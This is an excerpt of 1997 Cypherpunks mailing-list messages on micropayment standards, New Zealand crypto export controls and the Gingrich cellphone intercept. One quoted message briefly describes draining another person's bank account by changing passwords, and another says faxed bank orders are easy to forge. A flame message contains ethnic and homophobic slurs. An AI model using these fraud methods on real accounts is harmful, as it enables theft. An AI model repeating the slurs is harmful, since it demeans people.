there are other standards, such as how a person might get
cash into their piggy bank etc., but most would be related to
the above items. 

notice that we don't really need a good interoperable standard
to begin with. often Netscape and MS invent tags that are not
interoperable between them, and later standardization arrives
at a consensus / convergence. as I see it, I think the browser
manufacturers should just pick their favorite digital cash
scheme (cybercash, digicash, whatever) that is easiest to
implement, and do so, with the intention of integrating other
schemes at a later date.

>Currently every vendor of payment schemes has made it proprietary in some
>way.  (At least the ones I have seen.)  This means that if the user visits
>three different web pages, each using a payment scheme from a different
>vendor, that user has to be signed up with all of those vendors.  (Or at
>least have their helper apps.)

hence, a good opportunity for the browser manufacturer to remove
all these additional complications and make it point-and-click
simple. I agree, this is not going to be a total nonbrainer. but
better the browser manufacturer do it for their software, allowing
everyone who uses it to benefit, than every single cash user
in cyberspace trying to replicate the same difficult series of
steps to get their cash going.

>I will not even go into the hastles of trying to set it up from the server
>side.  (The last payment scheme I installed (cybercash) was not very well
>documented.  The documentation on the web site contradicted the software
>with the tar file.  (And both were wrong at some point.))  Until these
>payment schemes are easier to deal with for the web page provider, they
>will not catch on.  (There will also need to be more support for Internet
>service providers with multiple vendors all on different payment schemes.)
>
>Until there is a single standard hammered out, micropayments will still be
>few and far between.

generally, that's what I'm calling for, some ad hoc standards being
put into place immediately by the browser manufacturers, in the
same way new tags are always being invented. standardization generally
results *after* an initial, minimally constrained innovation phase, imho.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 13:42:54 -0800 (PST)
To: Alan <alano@linda.teleport.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701202142.NAA19139@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[microcurrency]
>It will also not catch on until there are better standards involving
>microcurrency transactions amongst the vendors.  It would also help if
>there was a single interface (or "helper app") for whatever vendor you
>decided to go with.

as I see it, I think there are a few key standards that need 
to be devised: 

1. an html tag that indicates how much a link costs, probably in
the <a href="" cost=xx> type syntax

2. modification of http to support a payment mechanism, by sending
a token.

3. browser "piggy bank".

there are other standards, such as how a person might get
cash into their piggy bank etc., but most would be related to
the above items. 

notice that we don't really need a good interoperable standard
to begin with. often Netscape and MS invent tags that are not
interoperable between them, and later standardization arrives
at a consensus / convergence. as I see it, I think the browser
manufacturers should just pick their favorite digital cash
scheme (cybercash, digicash, whatever) that is easiest to
implement, and do so, with the intention of integrating other
schemes at a later date.

>Currently every vendor of payment schemes has made it proprietary in some
>way.  (At least the ones I have seen.)  This means that if the user visits
>three different web pages, each using a payment scheme from a different
>vendor, that user has to be signed up with all of those vendors.  (Or at
>least have their helper apps.)

hence, a good opportunity for the browser manufacturer to remove
all these additional complications and make it point-and-click
simple. I agree, this is not going to be a total nonbrainer. but
better the browser manufacturer do it for their software, allowing
everyone who uses it to benefit, than every single cash user
in cyberspace trying to replicate the same difficult series of
steps to get their cash going.

>I will not even go into the hastles of trying to set it up from the server
>side.  (The last payment scheme I installed (cybercash) was not very well
>documented.  The documentation on the web site contradicted the software
>with the tar file.  (And both were wrong at some point.))  Until these
>payment schemes are easier to deal with for the web page provider, they
>will not catch on.  (There will also need to be more support for Internet
>service providers with multiple vendors all on different payment schemes.)
>
>Until there is a single standard hammered out, micropayments will still be
>few and far between.

generally, that's what I'm calling for, some ad hoc standards being
put into place immediately by the browser manufacturers, in the
same way new tags are always being invented. standardization generally
results *after* an initial, minimally constrained innovation phase, imho.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 11:58:37 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <199701182228.OAA00244@crypt.hfinney.com>
Message-ID: <199701201955.LAA15540@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> notice how much crypto really caught on when Netscape 
>> incorporated it, and how this action alone did more for
>> the proliferation of crypto in cyberspace, almost, than
>> all prior efforts combined. I think that microcurrency
>> will be unleashed in a very similar way.
>
>I assume you are referring to secure web connections via SSL in talking
>about crypto.  In that case there was a very strong pent up demand for
>the service.  Customers were afraid to send credit card numbers and
>other personal information across the web.  Sellers were pressuring the
>net server companies to do something to quell these concerns so on-line
>selling could succeed.  Netscape did it, and in the grand tradition of
>the net, implementation beat design and SSL defeated SHTTP.

neither has "beat" the other at this point. but this does show something
I have always believed: companies should just invent ad-hoc, quick-and-dirty
standards if full standards are not immediately available. it makes no
sense to me to delay the introduction of some new feature because there
isn't industry standardization. the case is often that the initial 
ad-hoc standards will tend to converge into a better standard down
the road. I don't see standards as "forever". standards should be
viewed as stepping stones to better standards. 

hence I think netscape and/or MS should invent a "plug and play" 
(i.e. trivial to use) micropayment standard immediately, regardless
of what industry standardization does not or will exist. it wouldn't
be pretty at first but standardization to better interfaces could
ensue later. the main thing is to get it on the table, and get
people using it, to create the demand. services are rarely developed
unless there is a demand. hence I suggest that a *rudimentary* form
of the service be first devised and implemented asap to increase
demand for one with much more finesse.

  In its early
>versions SSL had a lot of problems but it was a good enough solution for
>what it needed to be.

exactly.

>The question is whether there is similar market demand for pay per view
>web pages.

don't think this is a valid question. the whole point of microcurrency
is just decreasing the cost until people hit the page and don't
care about the cost. hence I think there is a guaranteed market, because
with microcurrency you can always shave off your price to virtually
infinitesmal values (say pennies a hit) that will guarantee you will
have at least some audience.

  Do web service operators think they can offer value added
>services which will motivate customers to click through the for-pay link?

I'm imagining just putting a teeny little transaction charge on top
of every single hit that now exists. if it is small enough, consumers
won't care very much.

>There is also the issue of sellers learning to use the various payment
>systems which are out there.  Here again if Netscape and Microsoft would
>just pick one then everyone could standardize on it, which would
>increase acceptance a great deal.

well, pick one payment scheme and then competing companies could
adopt the same standard (but offer competing systems and features)

>Ecash as it is implemented now has the problem that the customer has to
>open a special bank account.  What you need is a payment system where
>you can use your existing VISA card and withdraw cash against it into
>your electronic wallet.  This is pretty close to the FV model but their
>payment system is somewhat clumsy.

exactly. someone who reengineered the whole thing from top to
bottom and made it absolutely trivial to use-- I suspect the future
of the browser wars will belong to the company that does this.
again, I note it might be doable in a plug in, but as I said, I 
think browser manufacturers are eventually going to put it into 
their own code because of its sheer importance.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 13:43:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701202143.NAA19163@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>> notice how much crypto really caught on when Netscape 
>> incorporated it, and how this action alone did more for
>> the proliferation of crypto in cyberspace, almost, than
>> all prior efforts combined. I think that microcurrency
>> will be unleashed in a very similar way.
>
>I assume you are referring to secure web connections via SSL in talking
>about crypto.  In that case there was a very strong pent up demand for
>the service.  Customers were afraid to send credit card numbers and
>other personal information across the web.  Sellers were pressuring the
>net server companies to do something to quell these concerns so on-line
>selling could succeed.  Netscape did it, and in the grand tradition of
>the net, implementation beat design and SSL defeated SHTTP.

neither has "beat" the other at this point. but this does show something
I have always believed: companies should just invent ad-hoc, quick-and-dirty
standards if full standards are not immediately available. it makes no
sense to me to delay the introduction of some new feature because there
isn't industry standardization. the case is often that the initial 
ad-hoc standards will tend to converge into a better standard down
the road. I don't see standards as "forever". standards should be
viewed as stepping stones to better standards. 

hence I think netscape and/or MS should invent a "plug and play" 
(i.e. trivial to use) micropayment standard immediately, regardless
of what industry standardization does not or will exist. it wouldn't
be pretty at first but standardization to better interfaces could
ensue later. the main thing is to get it on the table, and get
people using it, to create the demand. services are rarely developed
unless there is a demand. hence I suggest that a *rudimentary* form
of the service be first devised and implemented asap to increase
demand for one with much more finesse.

  In its early
>versions SSL had a lot of problems but it was a good enough solution for
>what it needed to be.

exactly.

>The question is whether there is similar market demand for pay per view
>web pages.

don't think this is a valid question. the whole point of microcurrency
is just decreasing the cost until people hit the page and don't
care about the cost. hence I think there is a guaranteed market, because
with microcurrency you can always shave off your price to virtually
infinitesmal values (say pennies a hit) that will guarantee you will
have at least some audience.

  Do web service operators think they can offer value added
>services which will motivate customers to click through the for-pay link?

I'm imagining just putting a teeny little transaction charge on top
of every single hit that now exists. if it is small enough, consumers
won't care very much.

>There is also the issue of sellers learning to use the various payment
>systems which are out there.  Here again if Netscape and Microsoft would
>just pick one then everyone could standardize on it, which would
>increase acceptance a great deal.

well, pick one payment scheme and then competing companies could
adopt the same standard (but offer competing systems and features)

>Ecash as it is implemented now has the problem that the customer has to
>open a special bank account.  What you need is a payment system where
>you can use your existing VISA card and withdraw cash against it into
>your electronic wallet.  This is pretty close to the FV model but their
>payment system is somewhat clumsy.

exactly. someone who reengineered the whole thing from top to
bottom and made it absolutely trivial to use-- I suspect the future
of the browser wars will belong to the company that does this.
again, I note it might be doable in a plug in, but as I said, I 
think browser manufacturers are eventually going to put it into 
their own code because of its sheer importance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 09:04:20 -0800 (PST)
To: Casey Iverson <iverson@usa.net>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE  RELEASE ANNOUNCEMENT)
In-Reply-To: <3.0.16.19970120094321.429718ae@pop.netaddress.com>
Message-ID: <Pine.SOL.3.93.970120120032.20673A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997, Casey Iverson wrote:
> Dimitri is a low life piece of Russan shit who is trying to distroy this
> list because he has serious mental
> problems or he is a tool of the NSA.
> 
> What part of his vicious personal and anomyous attacks against  members of
> the list  'are not being read
> correctly'?
> 
> What part of his calling everyone on this list that won't put up with his
> deliberate abuse, "fagots",  'are not being read correctly'?
> 
> If you don't get it, you are a *really dumb fuck* or a KTOM tool.
> 
	You seem to not get it...and most likely a "really dumb ****".

	Have a nice day.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:15:19 -0800 (PST)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701201715.JAA13616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sean Roach <roach_s@alph.swosu.edu> wrote in article
<5bv7g8$fhl@life.ai.mit.edu>...
> At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

> 
> It is limited, both accounts have to have the same password, (four
> character, numeric.)  If I want to transfer funds from another persons
> account to one that I control, all I have to do is change the password on
> one of them to that of the other, transfer funds, and change the password
> back.  By the time that my victim found out, (via the little letter "per
> your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
> would be long gone.

Depending on the country and bank you can probably perform almost
any transfer you like by fax. I moved my pension from one bank
to another simply by sending a fax. I have done similar transactions 
with Swiss, German and UK banks. 

For some reason the fax is considered to be a practically 
infallible authentication device. Quite why is beyond me since
it should be obvious to anyone that all one needs to fake a
fax is a photocopier, document signed by account holder, paste
and scissors. You get everything needed on a signed cheque.



	Phill.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:40:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701201740.JAA14417@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sean Roach <roach_s@alph.swosu.edu> wrote in article
<5bv7g8$fhl@life.ai.mit.edu>...
> At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

> 
> It is limited, both accounts have to have the same password, (four
> character, numeric.)  If I want to transfer funds from another persons
> account to one that I control, all I have to do is change the password on
> one of them to that of the other, transfer funds, and change the password
> back.  By the time that my victim found out, (via the little letter "per
> your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
> would be long gone.

Depending on the country and bank you can probably perform almost
any transfer you like by fax. I moved my pension from one bank
to another simply by sending a fax. I have done similar transactions 
with Swiss, German and UK banks. 

For some reason the fax is considered to be a practically 
infallible authentication device. Quite why is beyond me since
it should be obvious to anyone that all one needs to fake a
fax is a photocopier, document signed by account holder, paste
and scissors. You get everything needed on a signed cheque.



	Phill.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sun, 19 Jan 1997 15:10:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: The NSA's influence on New Zealand crypto policy
Message-ID: <85371540122743@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


For nearly a year I've been involved in an ongoing battle with several
government departments and the odd intelligence agency in an attempt to clarify
NZ's position on the export of crypto software.  The whole story has now got
about as far as it can go, so I thought I'd share it with others.  I've been
trying to get the media to take an interest in this, but noone really seems to
care... if anyone knows any journalists who might be interested in it, feel
free to pass it on.  I've got more details including names of contact people
and phone numbers in case anyone needs to verify parts of the story.

The main players are:

The Government Communications Security Bureau (GCSB), a New Zealand
    intelligence agency (for US readers, the GCSB is the NZ subsidiary of the
    NSA).  The foremost authority on the GCSB is Nicky Hager, who recently
    published the book "Secret Power" which documents their activities.
The Defence Signals Directorate (DSD), an Australian intelligence agency (the
    Australian version of the NSA).
The Ministry of Foreign Affairs and Trade (MFAT), a New Zealand government
    department.
New Zealand Customs.
Cyphercom Solutions, a New York company which produces financial/online
    commerce systems.
Kiss Audio Video, an Australian video production company.
Orion Systems, a New Zealand company which produces medical information and
    communication systems for transmitting medical information.
Myself (Peter Gutmann) and cryptlib, my free encryption library
    http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html

In April 1996 I got a call from someone who worked for Cyphercom Solutions, a
New York company who wanted to use my cryptlib encryption library in a project
they were working on.  Their lawyers wanted them to obtain an official,
physically exported copy so that there wouldn't be any complications later on
if the source of the software were ever called into question.  The application
involved financial transaction processing, and they had received indications
from the NSA that it would be looked on favourably in terms of getting export
permission.  Somewhat strangely though, they were given the distinct impression
that to get anywhere, they'd need to play ball with the NSA, even though it was
NZ software being exported from NZ, where the NSA should have no jurisdiction.

At this point a brief explanation of the export law situation in NZ is in
order.  The Customs Act of 1996, Section 54, "Prohibited Exports", states that
"The Governor-General may from time to time, by Order in Council, prohibit the
exportation from New Zealand of any specified goods or goods of a specified
class or classes" (followed by a list of specific conditions on prohibitions).
There's no further information in the Customs Act, but NZ Customs have a short
publication "New Zealand Customs Fact Sheet: Export Prohibitions and
Restrictions" which contains, among such curious items as cat skins and a large
list of agricultural products which can't be exported without going via the
appropriate government department, the item "Strategic goods such as computers,
navigation and marine equipment, firearms, ammunition, explosives, military
aircraft and vessels".  The responsible government department is the Ministry
of Foreign Affairs and Trade (MFAT, pronounced "em-fat").  Apparently computer
software comes under the same classification as computers (MFAT extends the
Customs definition of "Strategic goods" to cover "Computer technology,
information security systems, and telecommunications equipment").  The entity
within MFAT which handles this is the International Security and Arms Control
Division, who are advised by the Government Communications Security Bureau
(GCSB), the New Zealand NSA subsidiary.

Once you get past the part where NZ Customs are involved, the whole setup is
run like the mafia.  Nothing is ever written down, everything is done verbally.
Although it took only a paragraph to describe how this works, it took more than
two months of work to find out in practice.  Unless you know exactly who to ask
for information, noone has ever heard of these restrictions.  A search of NZ
legal databases found nothing.  Several IP lawyers had never heard of these
restrictions.  Noone seemed to know anything about any restrictions.  (In an
October newsletter, MFAT retroactively gave themselves jurisdiction over this
area, this is covered further down).

An initial discussion with MFAT revealed that NZ Customs tend to apply
restrictions based on the old COCOM rules, which have been superseded by the
Wassenaar agreement.  For this reason export permits are required for shipments
to certain eastern european countries, certain middle eastern countries, and
the current UN politically-incorrect-country club.  Export to countries other
than that would be unlikely to require a permit.

In May, Cyphercom therefore decided to try to export the software to the US and
Singapore.  Initially MFAT said this was OK.  Then at the last minute they
changed their minds and imposed the following restrictions:

 - No encryption algorithms except single DES.
 - Keysize limited to 64 bits (this is peculiar, I assume it's to stop me from
   using tricks like key-dependant S-boxes and DESX, which I'd discussed in
   email with people in the US some time ago).
 - Definitely no triple DES (this was specifically mentioned).
 - Export limited to object code only (so the key size couldn't be changed).

The text of the message (with a few names removed) is:

  "The Secretary of Foreign Affairs and Trade has no objection to the export of
   the XXX financial package, as detailed in the following application from
   YYY, *provided that* the library of encryption algorithms is limited to DES
   (but not triple DES) and any required hash algorithms, dated 15 May 1996".

In the accompanying description of the library, every single algorithm except
DES and the hash algorithms have been crossed out.  Note that this is for
export to the US, which has its own export restrictions anyway (the same thing
was done for the Singapore export).

Inquiries by lawyers in the US indicated that there had been a flurry of
communication between the NSA and the GCSB over this (as one person - not one
of the lawyers BTW - I talked to put it, "When the NSA says 'Bend over', the
GCSB says 'How far?'").  The NSA might as well have signed the export
(non-)permit themselves.  The story from the US lawyers was that there was
"repeated intervention of the NSA" and that "NZ is out of its depth, it was
terrified of offending the US".

>From the information I've been able to gather the whole thing seems to have
been initiated by the GCSB rather than the NSA, who were afraid to do anything
without NSA approval.  The GCSB went to the NSA and asked them what they should
do, the result was the (non-)permit.  A DSD person also later told a reporter
that the GCSB had gone to the DSD and asked them "Would you allow the export
under these conditions?".  The DSD said "No".

Shortly before this, the Canadian government, which follows the same export
guidelines as New Zealand (dual-use technology under the Wassenaar agreement),
had ruled that cryptlib was exportable to anywhere except the previously
mentioned restricted countries, with no permit necessary, and no need to apply
for a permit:

  "Application No.278466 covering cryptographic software proposed for export to
   England, this software is not controlled according to Canada's ECL.
   Therefore, provided the product noted in this application is not of US
   origin within the meaning of the ECL item 5400, these goods may be exported
   to any country, except Libya and Angola, without an export permit.  Please
   note that most goods to Iraq are still prohibited at this time, as well".

The interesting thing about the Canadian decision was that I was contacted
twice by Canadian export controls people who asked me a number of very detailed
questions about the software, whereas MFAT managed to come to their decision
without ever examining the encryption software or talking to its author.  As
far as I've been able to tell MFAT had very little to do with the decision:
They have to follow the GCSB's advice, and the GCSB won't do anything without
the NSA's permission.

The opinion from lawyers in NZ was that they were acting far outside their
authority.  In any case in late May two copies of the software on 3.5" disks
were sent out by a large accounting firm acting for Cyphercom, one to the US
and one to Singapore as provided for in the export permit.

At about the time the original export appeal was lodged, the GCSB had told
another NZ company, Orion Systems, that they couldn't export a product with the
encryption necessary to protect patient medical data, lab results, patient
referrals, and so on, without obtaining an end user certitificate for each
user.  To sell a copy to just the one overseas site which the inquiry was about
would have required otaining two thousand certifications from all the end
users.  Larger sites with ten thousand users are not unknown.  This meant that
Orion would have had to somehow obtain 2000 signed declarations from users just
to allow the exchange of medical records (this tactic has also been
successfully used by the US government to effectively block certain software
exports by US firms).  Orion didn't even bother going to MFAT, because if the
GCSB required these impossible-to-meet conditions then going to the next level
down in the chain of command would make no difference.

After chasing my way around a number of government departments I talked to some
people in the Ministry of Commerce who advised that the best way to resolve
this craziness was to write to MFAT and inform them that the Canadian
government had ruled that the library was freely exportable and that there was
no reason for them blocking the export, and ask under what authority the export
was being blocked.  This letter was sent to MFAT in mid-September
(incidentally, the way government departments refer to the GCSB is wierd. Noone
ever says "the GCSB", it's always "another government department" or "an
organisation which I won't name", as if there was some belief that using The
Dreaded Name will cause evil to descend upon the person who utters it, much
like the use of the work J*h*v* or Lovecraft's "He Who Is Not To Be Named").

Anyway, at this point, things started to get weird.  At about the time I wrote
the letter, I was FedEx'd an NDA sent from lawyers representing PGP Inc (a US
encryption software vendor) to Orion Systems, sent in a standard FedEx letter
envelope.  It was intercepted by NZ Customs and opened, and the contents
examined, before I got it.  This wasn't the usual random (and quite rare)
"Examined by Customs" spot check, the letter had a large red "Customs - Hold"
sticker on it with an LAX flight number, so I assume they knew in advance what
they were looking for.  NZ Customs couldn't tell me why it was intercepted, but
seemed a bit surprised that the letter had been opened.  They said that they
may have been "acting on information".

In early October, about a fortnight after I sent the letter to MFAT questioning
the export refusal and asking for clarification on what law they were using to
block the export (and many months after the export itself), the Australian
parent of the US company who wanted the export got a call from the Australian
Ministry of Defence (it was actually the DSD, but they generally identify
themselves as Ministry of Defence just like NSA employess are always identified
as Department of Defence rather than NSA).  This company, Kiss Audio Visual,
are a video production house who have nothing at all to do with encryption
software (or, in fact, anything but video production and graphics design, which
they are very good at).  They were called by Alan Owen of the DSD who said that
they had been informed that NZ Customs had intercepted a shipment containing a
high-security encryption product which was being illegally exported from New
Zealand.  According to the story, when NZ Customs went back to the party who
exported the software, they claimed it was on behalf of Kiss.  The Managing
Director of Kiss called the Ministry of Defence to make sure this was actually
for real, and they confirmed that it was.

This story has several very large holes in it:

- NZ Customs never intercepted anything.  The package containing the disks
  arrived in the US unopened, there was no "high-security encryption product"
  on the disks, and a Customs person has verified that NZ Customs have never
  intercepted any crypto software shipped overseas.

- There was no illegal export of any kind.  All the necessary permissions had
  been obtained from MFAT before the disks were shipped.

- The export was performed by Cyphercom, not Kiss.  Kiss happens to be the
  parent company, but (apart from a few business discussions carried out over
  international phone links), there was no other connection between Kiss and
  Cyphercom.

Alan said that this export had very serious consequences, and that they would
be coming to Melbourne to talk to Kiss at 2pm the next day.  The Kiss Director
immediately called Cyphercom in the US, and they discussed having serious
quantities of lawyers present at the meeting, and taking the whole story to the
media.

The visit was cancelled without any explanation.  Who says governments never
listen to their citizens?

(The DSD side of the story is that they were rather busy that day and didn't
have time to carry out their investigation).

The implications of this are interesting.  Despite the fact that MFAT had
already (in effect) denied permission for the export, someone with the ability
to listen in to international phone conversations had used discussions about
the export to fabricate a story about NZ Customs with which the Australian
government could harass Kiss, who had done nothing wrong and in fact had
nothing to do with the whole affair (unfortunately I don't have any proof of
the phone-conversation monitoring, but I can't see how anyone could possibly
have connected Kiss with Cyphercom except for the phone conversations - they
simply have nothing else in common).  Apparently whoever was pulling the
strings saw it necessary to bypass MFAT entirely in an attempt to suppress the
encryption software (this does not inspire confidence in the working
relationship between MFAT and the unnamed agency.  The identity of the unnamed
agency was later revealed by the DSD - see below).

Also in October, an article "Trade in Strategic Goods - An Update" in MFAT's
"Business File" publication, Vol.3, No.7 made specific mention that MFAT were
in charge of controlling the export of encryption hardware and software.  It's
pretty certain that this special mention was motivated entirely by attempts to
export cryptlib, because MFAT stated in a letter to me that they'd never
encountered anything like this before, so the claim that:

  "..the most commonly affected exports from New Zealand are of encryption
   hardware and software..."

is distinctly peculiar.  The last time anyone checked (a KPMG report from
mid-1994) NZ had no restrictions on the export of crypto.  Some time between
mid-94 and October 1996, export controls (or at least some vague mention of
controls) appeared, with MFAT having jurisdiction.  I suspect this was in
October 1996, *after* the whole export/non-export fiasco took place.

In any event the article contains some rather curious comments.  "Run-of-the
mill exports have usually been processed within 48 hours".  MFAT have now taken
9 months without showing any results, causing considerable financial hardship
for Cyphercom who are unable to ship a product or even obtain a sample copy for
demonstration to customers.  "New Zealand... is helping to limit the spread of
increasingly sophisticated military technology and weapons of mass
destruction".  Whether software to protect financial transactions and medical
records counts as "sophisticated military technology" or "weapons of mass
destruction" is unclear.

In late October I called MFAT to see what the delay was in replying to my
earlier letter, and received a reply the following week.  In their reply, MFAT
stated that the export (non-)permit was in fact not final, and was still under
consideration, which was at odds with what they had told Cyphercom and with the
wording of the permit itself (see above).  The letter also states:

  "We made it clear that it would take some time, as the application dealt with
   a relatively new area in terms of our export controls, and was in a rapidly
   changing and advancing field.  We... are currently discussing it and other
   issues it raises with relevant government departments".

(the "relevant government department" is the GCSB, this has been confirmed by
the DSD).  I interpret this paragraph to mean "We're making up the rules as we
go along".  The Canadian government certainly didn't seem to have any of these
problems when they covered the same issue.

MFAT declined to answer my question as to whether this portion of NZ's foreign
trade policy was being controlled by US intelligence agencies.

In early January 1997, Kiss were informed by the same Ministry of Defence/DSD
person (Alan Owen) that he and an associate would again be flying in from
Canberra to talk to them, using as justification the same fictitious story
about NZ Customs that they had used before.  They spent about two hours at
Kiss, saw that they were indeed a video production house (and nothing but a
video production house), and left.  Before they left, they told the Kiss people
that the source of the story about NZ Customs was "their counterparts in NZ"
(the GCSB).  Kiss had a lawyer present to witness this.

The implications of this are pretty scary.  The GCSB first used their position
to impose impossible-to-meet conditions on Orion and influence MFAT to
indefinitely delay export of software which isn't export-restricted anyway (or
at least not by any known NZ law) and which the Canadian government had already
ruled wasn't export restricted.  However, not content with this, they then fed
a fictitious story to the Australian government to convince them to begin an
investigation into a company which had done nothing wrong, and had very little
to do with the whole issue.

Foreign competitors of NZ companies will ship their encryption products within
15 minutes of a credit card order being received.  The GCSB, by employing all
sorts of devious measures, has managed to suppress distribution of the same
software by NZ individuals and companies.  Under their influence, MFAT have now
spent nine solid months brooding over the export of one single copy of
equivalent encryption software without showing any results.  This has had the
effect of protecting overseas markets for exploitation by foreign
competitors... by a ministry supposed to be in charge of promoting NZ trade.

To summarise, the situation is as follows:

1.There is absolutely no way that anyone could reasonably be expected to find
  out about what to do with crypto software in New Zealand.  NZ Customs have
  been extremely helpful throughout this affair, but had to keep deferring to
  MFAT, where everything stops.  Even the people charged with enforcing export
  conditions don't know what it is they're supposed to be enforcing.  If it
  wasn't for a number of lucky coincidences and occasionally knowing or running
  into the right people, I still wouldn't know any more about the situation.

2.Anyone trying to follow the vaguely-defined, possibly nonexistant rules, at
  least in New Zealand, is opening themselves up to government harassment, no
  matter how hard they try to follow whatever rules and regulations someone in
  the government comes up with.  The only safe way to distribute crypto
  software seems to be to either distribute it over the Internet, or to make
  sure you have enough media and political contacts to raise hell over any
  ensuing mail interception, possible phone tapping, government investigations,
  bogus stories about crimes being committed, and other niceties which may crop
  up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:31:14 -0800 (PST)
To: "cypherpunks" <greens@hiwaay.net>
Subject: Using the political opportunity Was: Newt's phone calls
Message-ID: <199701201730.JAA14060@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sarah L. Green <greens@hiwaay.net> wrote in article
<5bo2df$7ui@life.ai.mit.edu>...
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > 
> > It was a conference call but over a cellular phone. Martin had hacked
his
> > Radio Shack Scanner using a well known technique. He had a radio ham
> > license.
> > 
> Phill
> 	Actually I'd love to see this go to court & have the law itself 
> tossed out.  How many years have the airwaves been free?  Now it is 
> illegal to listen on the cellular frequencies.


Well I would love to see the case go to court but I prefer to see 
someone else being harassed.

I don't imagine for a minute that anyone will want to take it to
court though. Newt can hardly want his crookery to continue to
be before the public eye. He wants it buried as soon as possible 
so he can make similarly "arcane" charges "nobody understands"
against Clinton.

Interestingly the tax law that Newt broke was the use of non profit
funds for political purposes. Newt should know all about these since
the Republicans used these laws to shut down political comment by
the likes of the Sierra club etc under Reagan. I know several
people who used to be involved in non-profits who either resigned 
or changed the status of the group because the cost of administration
and risk of politically motivated prosecution was not worth the
tax advantages.

Given the "butterfly under the wheel" nature of the Republican
attack I would expect jury nullification in a big way. Meanwhile
there would be several weeks of questions asking why Newt is not
being prosecuted, only the Martins.

Despite the fact that I don't think the Democrats are smart enough
to mount such a conspiracy it would be a bloody good one if they 
had done.


I think that the challenge the crypto lobby must take on is to 
use the event to raise public consciousness for crypto rights. What
we probably need is a single issue lobby group that the media 
can call on for this and only this issue and nothing else. The
energies of the CDT and EFF are inevitably spread between this and
other issues such as the CDA. The problem is that a journalist
does not immediately think EFF or CDT when a cellphone case comes 
up. A single issue crypto lobby could fill that purpose.


		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 10:12:43 -0800 (PST)
To: cypherpunks <greens@hiwaay.net>
Subject: Using the political opportunity Was: Newt's phone calls
Message-ID: <199701201812.KAA14891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sarah L. Green <greens@hiwaay.net> wrote in article
<5bo2df$7ui@life.ai.mit.edu>...
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > 
> > It was a conference call but over a cellular phone. Martin had hacked
his
> > Radio Shack Scanner using a well known technique. He had a radio ham
> > license.
> > 
> Phill
> 	Actually I'd love to see this go to court & have the law itself 
> tossed out.  How many years have the airwaves been free?  Now it is 
> illegal to listen on the cellular frequencies.


Well I would love to see the case go to court but I prefer to see 
someone else being harassed.

I don't imagine for a minute that anyone will want to take it to
court though. Newt can hardly want his crookery to continue to
be before the public eye. He wants it buried as soon as possible 
so he can make similarly "arcane" charges "nobody understands"
against Clinton.

Interestingly the tax law that Newt broke was the use of non profit
funds for political purposes. Newt should know all about these since
the Republicans used these laws to shut down political comment by
the likes of the Sierra club etc under Reagan. I know several
people who used to be involved in non-profits who either resigned 
or changed the status of the group because the cost of administration
and risk of politically motivated prosecution was not worth the
tax advantages.

Given the "butterfly under the wheel" nature of the Republican
attack I would expect jury nullification in a big way. Meanwhile
there would be several weeks of questions asking why Newt is not
being prosecuted, only the Martins.

Despite the fact that I don't think the Democrats are smart enough
to mount such a conspiracy it would be a bloody good one if they 
had done.


I think that the challenge the crypto lobby must take on is to 
use the event to raise public consciousness for crypto rights. What
we probably need is a single issue lobby group that the media 
can call on for this and only this issue and nothing else. The
energies of the CDT and EFF are inevitably spread between this and
other issues such as the CDA. The problem is that a journalist
does not immediately think EFF or CDT when a cellphone case comes 
up. A single issue crypto lobby could fill that purpose.


		Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 08:59:56 -0800 (PST)
To: "'aba@dcs.ex.ac.uk>
